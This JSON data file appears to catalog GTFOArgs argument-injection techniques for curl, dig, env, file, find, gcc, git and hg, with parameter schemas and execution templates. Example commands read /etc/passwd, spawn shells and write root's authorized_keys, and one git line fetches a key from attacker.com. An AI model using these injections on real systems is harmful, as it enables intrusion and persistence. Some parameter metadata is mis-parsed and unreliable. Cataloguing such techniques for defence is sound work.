        "template_key": "trace",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write a debug trace to FILE",
        "aliases": [
          "--trace <file>"
        ],
        "flag": "--trace"
      },
      {
        "name": "trace-ascii",
        "template_key": "trace-ascii",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Like --trace, but without hex output",
        "aliases": [
          "--trace-ascii <file>"
        ],
        "flag": "--trace-ascii"
      },
      {
        "name": "trace-config",
        "template_key": "trace-config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Details to log in trace/verbose output",
        "aliases": [
          "--trace-config <string>"
        ],
        "flag": "--trace-config"
      },
      {
        "name": "trace-ids",
        "template_key": "trace-ids",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Transfer + connection ids in verbose output",
        "aliases": [
          "--trace-ids"
        ],
        "flag": "--trace-ids"
      },
      {
        "name": "trace-time",
        "template_key": "trace-time",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Add time stamps to trace/verbose output",
        "aliases": [
          "--trace-time"
        ],
        "flag": "--trace-time"
      },
      {
        "name": "unix-socket",
        "template_key": "unix-socket",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Connect through this Unix domain socket",
        "aliases": [
          "--unix-socket <path>"
        ],
        "flag": "--unix-socket"
      },
      {
        "name": "upload-file",
        "template_key": "upload-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Transfer local FILE to destination",
        "aliases": [
          "-T",
          "--upload-file <file>"
        ],
        "flag": "-T"
      },
      {
        "name": "upload-flags",
        "template_key": "upload-flags",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IMAP upload behavior",
        "aliases": [
          "--upload-flags <flags>"
        ],
        "flag": "--upload-flags"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "URL(s) to work with",
        "aliases": [
          "--url <url/file>"
        ],
        "flag": "--url"
      },
      {
        "name": "url-query",
        "template_key": "url-query",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Add a URL query part",
        "aliases": [
          "--url-query <data>"
        ],
        "flag": "--url-query"
      },
      {
        "name": "use-ascii",
        "template_key": "use-ascii",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use ASCII/text transfer",
        "aliases": [
          "-B",
          "--use-ascii"
        ],
        "flag": "-B"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Server user and password",
        "aliases": [
          "-u",
          "--user <user:password>"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send User-Agent <name> to server",
        "aliases": [
          "-A",
          "--user-agent <name>"
        ],
        "flag": "-A"
      },
      {
        "name": "variable",
        "template_key": "variable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--variable <[%]name"
        ],
        "flag": "--variable"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Make the operation more talkative",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show version number and quit",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "vlan-priority",
        "template_key": "vlan-priority",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set VLAN priority",
        "aliases": [
          "--vlan-priority <priority>"
        ],
        "flag": "--vlan-priority"
      },
      {
        "name": "write-out",
        "template_key": "write-out",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output FORMAT after completion",
        "aliases": [
          "-w",
          "--write-out <format>"
        ],
        "flag": "-w"
      },
      {
        "name": "xattr",
        "template_key": "xattr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Store metadata in extended file attributes",
        "aliases": [
          "--xattr"
        ],
        "flag": "--xattr"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/curl/"
      }
    ],
    "techniques": [
      "exfiltration",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# dig\n\nGTFOArgs entry for dig. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-dig.md",
    "capabilities": [
      "system.file.read"
    ],
    "description": "Argument injection via dig",
    "examples": [
      {
        "description": "Read an arbitrary file by specifying it as a batch file. Note that this will leak lines of the file read as outbound DNS lookups.",
        "command": "dig -f /etc/passwd "
      }
    ],
    "execution": {
      "template": "dig",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "id": "argument-injection-dig",
    "name": "dig",
    "namespace": "argument:injection:dig",
    "parameters": [
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(use IPv4 query transport only)",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(use IPv6 query transport only)",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(bind to source address/port)",
        "aliases": [
          "-b"
        ],
        "enum": [
          "bind to source address",
          "port"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify query class)",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(batch mode)",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify tsig key file)",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(enable memory usage debugging)",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "(specify port number)",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify query name)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(do not read ~/.digrc)",
        "aliases": [
          "-r"
        ],
        "enum": [
          "do not read ~",
          ".digrc"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(specify query type)",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(display times in usec instead of msec)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(shortcut for reverse lookups)",
        "aliases": [
          "-x",
          "-n"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "d-opt is of the form +keyword[=value], where keyword is: +[no]aaflag (Set AA flag in query (+[no]aaflag)) +[no]aaonly (Set AA flag in query (+[no]aaflag)) +[no]additional (Control display of additional section) +[no]adflag (Set AD flag in query (default on)) +[no]all (Set or clear all display flags) +[no]answer (Control display of answer section) +[no]authority (Control display of authority section) +[no]badcookie (Retry BADCOOKIE responses) +[no]besteffort (Try to parse even illegal messages) +bufsize[=###] (Set EDNS0 Max UDP packet size) +[no]cdflag (Set checking disabled flag in query) +[no]class (Control display of class in records) +[no]cmd (Control display of command line - global option) +[no]coflag (Set compact denial of existence ok flag) in query) +[no]comments (Control display of packet header and section name comments) +[no]cookie (Add a COOKIE option to the request) +[no]crypto (Control display of cryptographic fields in records) +[no]defname (Use search list (+[no]search)) +[no]dns64prefix (Get the DNS64 prefixes from ipv4only.arpa) +[no]dnssec (Request DNSSEC records) +domain=### (Set default domainname) +[no]edns[=###] (Set EDNS version) [0] +ednsflags=### (Set undefined EDNS flag bits) +[no]ednsnegotiation (Set EDNS version negotiation) +ednsopt=###[:value] (Send specified EDNS option) +noednsopt (Clear list of +ednsopt options) +[no]expandaaaa (Expand AAAA records) +[no]expire (Request time to expire) +[no]fail (Don't try next server on SERVFAIL) +[no]header-only (Send query without a question section) +[no]https[=###] (DNS-over-HTTPS mode) [/] +[no]https-get (Use GET instead of default POST method while using HTTPS) +[no]http-plain[=###] (DNS over plain HTTP mode) [/] +[no]http-plain-get (Use GET instead of default POST method while using plain HTTP) +[no]identify (ID responders in short answers) +[no]idn (convert international domain names) +[no]ignore (Don't revert to TCP for TC responses.) +[no]keepalive (Request EDNS TCP keepalive) +[no]keepopen (Keep the TCP socket open between queries) +[no]multiline (Print records in an expanded format) +ndots=### (Set search NDOTS value) +[no]nsid (Request Name Server ID) +[no]nssearch (Search all authoritative nameservers) +[no]onesoa (AXFR prints only one soa record) +[no]opcode=### (Set the opcode of the request) +padding=### (Set padding block size [0]) +[no]proxy[=src_addr[#src_port]-dst_addr[#dst_port]] (Add PROXYv2 headers to the queries. If addresses are omitted, LOCAL PROXYv2 headers are added) +[no]proxy-plain[=src_addr[#src_port]-dst_addr[#dst_port]] (The same as'+[no]proxy', but send PROXYv2 headers ahead of any encryption if an encrypted transport is used) +qid=### (Specify the query ID to use when sending queries) +[no]qr (Print question before sending) +[no]question (Control display of question section) +[no]raflag (Set RA flag in query (+[no]raflag)) +[no]rdflag (Recursive mode (+[no]recurse)) +[no]recurse (Recursive mode (+[no]rdflag)) +retry=### (Set number of UDP retries) [2] +[no]rrcomments (Control display of per-record comments) +[no]search (Set whether to use searchlist) +[no]short (Display nothing except short form of answers - global option) +[no]showbadcookie (Show BADCOOKIE message) +[no]showbadvers (Show BADVERS message) +[no]showsearch (Search with intermediate results) +[no]split=## (Split hex/base64 fields into chunks) +[no]stats (Control display of statistics) +subnet=addr (Set edns-client-subnet option) +[no]tcflag (Set TC flag in query (+[no]tcflag)) +[no]tcp (TCP mode (+[no]vc)) +timeout=### (Set query timeout) [5] +[no]tls (DNS-over-TLS mode) +[no]tls-ca[=file] (Enable remote server's TLS certificate validation) +[no]tls-hostname=hostname (Explicitly set the expected TLS hostname) +[no]tls-certfile=file (Load client TLS certificate chain from file) +[no]tls-keyfile=file (Load client TLS private key from file) +[no]trace (Trace delegation down from root [implies +dnssec]) +tries=### (Set number of UDP attempts) [3] +[no]ttlid (Control display of ttls in records) +[no]ttlunits (Display TTLs in human-readable units) +[no]unknownformat (Print RDATA in RFC 3597 \"unknown\" format) +[no]vc (TCP mode (+[no]tcp)) +[no]yaml (Present the results as YAML) +[no]zflag (Set Z flag in query) global d-opts and servers (before host name) affect all queries. local d-opts and servers (after host name) affect only that lookup. -h (print help and exit) -v (print version and exit)",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/dig/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# env\n\nGTFOArgs entry for env. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-env.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via env",
    "examples": [
      {
        "description": "The `--split-string` parameter accepts multiple additional arguments. The first positional argument without an `=` executes as a command.",
        "command": "env '--split-string=sh -c \"id > /tmp/pwned\"' foo "
      }
    ],
    "execution": {
      "template": "env",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-env",
    "name": "env",
    "namespace": "argument:injection:env",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/env/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# file\n\nGTFOArgs entry for file. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-file.md",
    "capabilities": [
      "system.file.read"
    ],
    "description": "Argument injection via file",
    "examples": [
      {
        "description": "Read an arbitrary file by specifying it as a magic file. This will result in errors containing the lines of the file. The argument parsing done by file also means this can be specified as a single argument. ",
        "command": "file -m/etc/passwd "
      }
    ],
    "execution": {
      "template": "file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "id": "argument-injection-file",
    "name": "file",
    "namespace": "argument:injection:file",
    "parameters": [
      {
        "name": "apple",
        "type": "boolean",
        "required": false,
        "description": "output the Apple CREATOR/TYPE",
        "aliases": [
          "--apple"
        ],
        "flag": "--apple"
      },
      {
        "name": "brief",
        "template_key": "brief",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "do not prepend filenames to output lines",
        "aliases": [
          "-b",
          "--brief"
        ],
        "flag": "-b"
      },
      {
        "name": "checking-printout",
        "template_key": "checking-printout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the parsed form of the magic file, use in",
        "aliases": [
          "-c",
          "--checking-printout"
        ],
        "flag": "-c"
      },
      {
        "name": "compile",
        "template_key": "compile",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compile file specified by -m",
        "aliases": [
          "-C",
          "--compile"
        ],
        "flag": "-C"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print debugging messages",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow symlinks (default if POSIXLY_CORRECT is set)",
        "aliases": [
          "-L",
          "--dereference"
        ],
        "flag": "-L"
      },
      {
        "name": "exclude TEST",
        "template_key": "exclude-test",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "exclude TEST from the list of test to be",
        "aliases": [
          "-e",
          "--exclude TEST"
        ],
        "flag": "-e"
      },
      {
        "name": "exclude-quiet TEST",
        "template_key": "exclude-quiet-test",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like exclude, but ignore unknown tests",
        "aliases": [
          "--exclude-quiet TEST"
        ],
        "flag": "--exclude-quiet"
      },
      {
        "name": "extension",
        "type": "boolean",
        "required": false,
        "description": "output a slash-separated list of extensions",
        "aliases": [
          "--extension"
        ],
        "flag": "--extension"
      },
      {
        "name": "files-from FILE",
        "template_key": "files-from-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "read the filenames to be examined from FILE",
        "aliases": [
          "-f",
          "--files-from FILE"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "keep-going",
        "template_key": "keep-going",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't stop at the first match",
        "aliases": [
          "-k",
          "--keep-going"
        ],
        "flag": "-k"
      },
      {
        "name": "list",
        "template_key": "list",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list magic strength",
        "aliases": [
          "-l",
          "--list"
        ],
        "flag": "-l"
      },
      {
        "name": "magic-file LIST",
        "template_key": "magic-file-list",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "use LIST as a colon-separated list of magic",
        "aliases": [
          "-m",
          "--magic-file LIST"
        ],
        "flag": "-m"
      },
      {
        "name": "mime",
        "template_key": "mime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output MIME type strings (--mime-type and",
        "aliases": [
          "-i",
          "--mime"
        ],
        "flag": "-i"
      },
      {
        "name": "mime-encoding",
        "template_key": "mime-encoding",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--apple output the Apple CREATOR/TYPE --extension output a slash-separated list of extensions --mime-type output the MIME type --mime-encoding output the MIME encoding",
        "aliases": [
          "--mime-encoding"
        ],
        "flag": "--mime-encoding"
      },
      {
        "name": "mime_type",
        "type": "boolean",
        "required": false,
        "description": "output the MIME type",
        "aliases": [
          "--mime-type"
        ],
        "flag": "--mime-type"
      },
      {
        "name": "no-buffer",
        "template_key": "no-buffer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not buffer output",
        "aliases": [
          "-n",
          "--no-buffer"
        ],
        "flag": "-n"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't follow symlinks (default if POSIXLY_CORRECT is not set) (default)",
        "aliases": [
          "-h",
          "--no-dereference"
        ],
        "flag": "-h"
      },
      {
        "name": "no-pad",
        "template_key": "no-pad",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not pad output",
        "aliases": [
          "-N",
          "--no-pad"
        ],
        "flag": "-N"
      },
      {
        "name": "no-sandbox",
        "template_key": "no-sandbox",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable system call sandboxing",
        "aliases": [
          "-S",
          "--no-sandbox"
        ],
        "flag": "-S"
      },
      {
        "name": "parameter",
        "template_key": "parameter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set file engine parameter limits",
        "aliases": [
          "-P",
          "--parameter"
        ],
        "flag": "-P"
      },
      {
        "name": "preserve-date",
        "template_key": "preserve-date",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve access times on files",
        "aliases": [
          "-p",
          "--preserve-date"
        ],
        "flag": "-p"
      },
      {
        "name": "print0",
        "template_key": "print0",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "terminate filenames with ASCII NUL",
        "aliases": [
          "-0",
          "--print0"
        ],
        "flag": "-0"
      },
      {
        "name": "raw",
        "template_key": "raw",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't translate unprintable chars to \\ooo",
        "aliases": [
          "-r",
          "--raw"
        ],
        "flag": "-r"
      },
      {
        "name": "separator STRING",
        "template_key": "separator-string",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use string as separator instead of `:'",
        "aliases": [
          "-F",
          "--separator STRING"
        ],
        "flag": "-F"
      },
      {
        "name": "special-files",
        "template_key": "special-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat special (block/char devices) files as",
        "aliases": [
          "-s",
          "--special-files"
        ],
        "flag": "-s"
      },
      {
        "name": "uncompress",
        "template_key": "uncompress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "try to look inside compressed files",
        "aliases": [
          "-z",
          "--uncompress"
        ],
        "flag": "-z"
      },
      {
        "name": "uncompress-noreport",
        "template_key": "uncompress-noreport",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-Z",
          "--uncompress-noreport"
        ],
        "flag": "-Z"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/file/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# find\n\nGTFOArgs entry for find. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-find.md",
    "capabilities": [
      "security.execution.command",
      "system.file.read",
      "system.file.write"
    ],
    "description": "Argument injection via find",
    "examples": [
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells either indirectly",
        "command": "find . -name i_do_not_exist -or -exec perl -e 'exec sh' ; -quit "
      },
      {
        "description": "or directly.",
        "command": "find . -exec /bin/sh ; -quit "
      },
      {
        "description": "Can be used to execute arbitrary commands on a system.",
        "command": "find . -name i_do_not_exist -or -exec ls ; -quit "
      },
      {
        "description": "Reading of files is possible by executing cat.",
        "command": "find /etc/passwd -exec cat {} ; "
      },
      {
        "description": "Find has various capabilities to write to files and it is recommended to read the manual for more details, especially its fprintf and 'UNUSUAL FILENAMES' sections.",
        "command": "find . -fprintf /root/.authorized_keys 'ssh-rsa ...' -quit "
      }
    ],
    "execution": {
      "template": "find",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-find",
    "name": "find",
    "namespace": "argument:injection:find",
    "parameters": [
      {
        "name": "amin",
        "type": "boolean",
        "required": false,
        "description": "CONTEXT",
        "aliases": [
          "-amin",
          "-anewer",
          "-atime",
          "-cmin",
          "-cnewer",
          "-context"
        ],
        "flag": "-amin"
      },
      {
        "name": "exec",
        "type": "boolean",
        "required": false,
        "description": "COMMAND ;",
        "aliases": [
          "-exec",
          "-exec",
          "-ok"
        ],
        "flag": "-ok"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-ctime N -empty -false -fstype TYPE -gid N -group NAME -ilname PATTERN -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE -nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN -readable -writable -executable -wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N -used N -user NAME -xtype [bcdpfls]",
        "aliases": [
          "-a",
          "-a",
          "-a",
          "-c",
          "-c",
          "-c"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-d",
          "-f",
          "-n",
          "-r",
          "-w"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-d-2",
        "template_key": "flag-d-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-mount -noleaf -xdev -ignore_readdir_race -noignore_readdir_race",
        "aliases": [
          "-d",
          "-f",
          "-f",
          "-m",
          "-m"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-d-3",
        "template_key": "flag-d-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ; -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND",
        "aliases": [
          "-d",
          "-p",
          "-p",
          "-f",
          "-p"
        ],
        "flag": "-d"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "used",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "-used",
          "-xtype"
        ],
        "flag": "-used"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output version information and exit",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/find/"
      }
    ],
    "techniques": [
      "execution",
      "discovery",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# gcc\n\nGTFOArgs entry for gcc. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-gcc.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via gcc",
    "examples": [
      {
        "description": "The `-wrapper` argument invokes all subcommands under a wrapper program.",
        "command": "gcc -wrapper /bin/sh,-s . "
      }
    ],
    "execution": {
      "template": "gcc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-gcc",
    "name": "gcc",
    "namespace": "argument:injection:gcc",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/gcc/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# git\n\nGTFOArgs entry for git. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-git.md",
    "capabilities": [
      "security.execution.command",
      "system.file.read",
      "system.file.write"
    ],
    "description": "Argument injection via git",
    "examples": [
      {
        "description": "The --open-files-in-pager flag can be used to run arbitrary commands. Any of the following should work.",
        "command": "git grep --open-files-in-pager='uname -a #' . git grep --open-files-in-pager='uname;' . "
      },
      {
        "description": "The --upload-pack flag can be used in multiple contexts. Note that the output is not necessarily shown (but you can route the output to stderr and possibly view it, by using `>&2`). ls-remote is the only example which does not require the command to be run within a tracked folder. Any of the following should work.",
        "command": "git ls-remote --upload-pack='uname -a > /tmp/file #' main git fetch origin --upload-pack='cat /etc/passwd >&2 ;' git pull origin --upload-pack='wget attacker.com/key -O /root/.ssh/authorized-keys #' "
      },
      {
        "description": "The `--upload-pack` / `-u` flag on `git clone` can execute commands. A colon in the positional argument helps trigger execution.",
        "command": "git clone '-u$({touch,/tmp/foo})' ':x' "
      },
      {
        "description": "This method takes advantage of one of the file-write methods to overwrite `.git/config`. Officially, this is probably out of scope of GTFOArgs, but it is included anyways. `id` is executed and written to `/tmp/fsmonitor` in this example.",
        "command": "git commit --allow-empty -m 'fsmonitor = \"id>/tmp/fsmonitor\"' git commit --allow-empty -m '[core]' git log --max-count=2 --pretty=format:\"%s\" --output=./.git/config git status "
      },
      {
        "description": "It is common to use `git diff` to compare a single file to a different version of itself in history. The `--no-index` flag can be used to effectively turn `git diff` into normal `diff` against another file _within the git repository_ (but not necessarily tracked).",
        "command": "git diff --no-index local-secret-file.conf git.md "
      },
      {
        "description": "If you are reading a file outside of the git directory, you can use `git diff` against `/dev/null`.",
        "command": "git diff /dev/null /etc/passwd "
      },
      {
        "description": "The `--file` flag on `git tag` reads a file's contents into the tag message. Retrieve it with `git cat-file`.",
        "command": "git tag '--file=/etc/passwd' main git cat-file -p refs/tags/main "
      },
      {
        "description": "Outputs the most recent changelog to an arbitrary file. Note that this also contains the commit information.",
        "command": "git log --max-count=1 --output=/root/.ssh/authorized_keys "
      },
      {
        "description": "Outputs the first line of the most recent commit message to an arbitrary file.",
        "command": "git log --max-count=1 --pretty=format:\"%s\" --output=/root/.ssh/authorized_keys "
      },
      {
        "description": "Can be used to overwrite a file, or create an empty file.",
        "command": "git blame --output=/tmp/file_to_truncate.txt "
      },
      {
        "description": "Archives the repository to an arbitrary output file.",
        "command": "git archive '--output=/tmp/foo' "
      },
      {
        "description": "The undocumented `--output` flag on `git diff` can truncate or create files.",
        "command": "git diff '--output=/tmp/file_to_truncate.txt' "
      }
    ],
    "execution": {
      "template": "git",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-git",
    "name": "git",
    "namespace": "argument:injection:git",
    "parameters": [],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/git/"
      }
    ],
    "techniques": [
      "execution",
      "discovery",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Use argument injection to execute arbitrary commands\"\n    command: \"hg --option=\\\"\\\\\\\"\\\\$(id)\\\\\\\"\\\"\"\n\n# hg\n\nGTFOArgs entry for hg. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-hg.md",
    "capabilities": [
      "security.execution.command",
      "network.transfer.upload"
    ],
    "description": "Argument injection via hg",
    "execution": {
      "template": "hg",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-hg",
    "name": "hg",
    "namespace": "argument:injection:hg",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/hg/"
      }
    ],
    "techniques": [
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# javac\n\nGTFOArgs entry for javac. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-javac.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via javac",
    "examples": [
      {
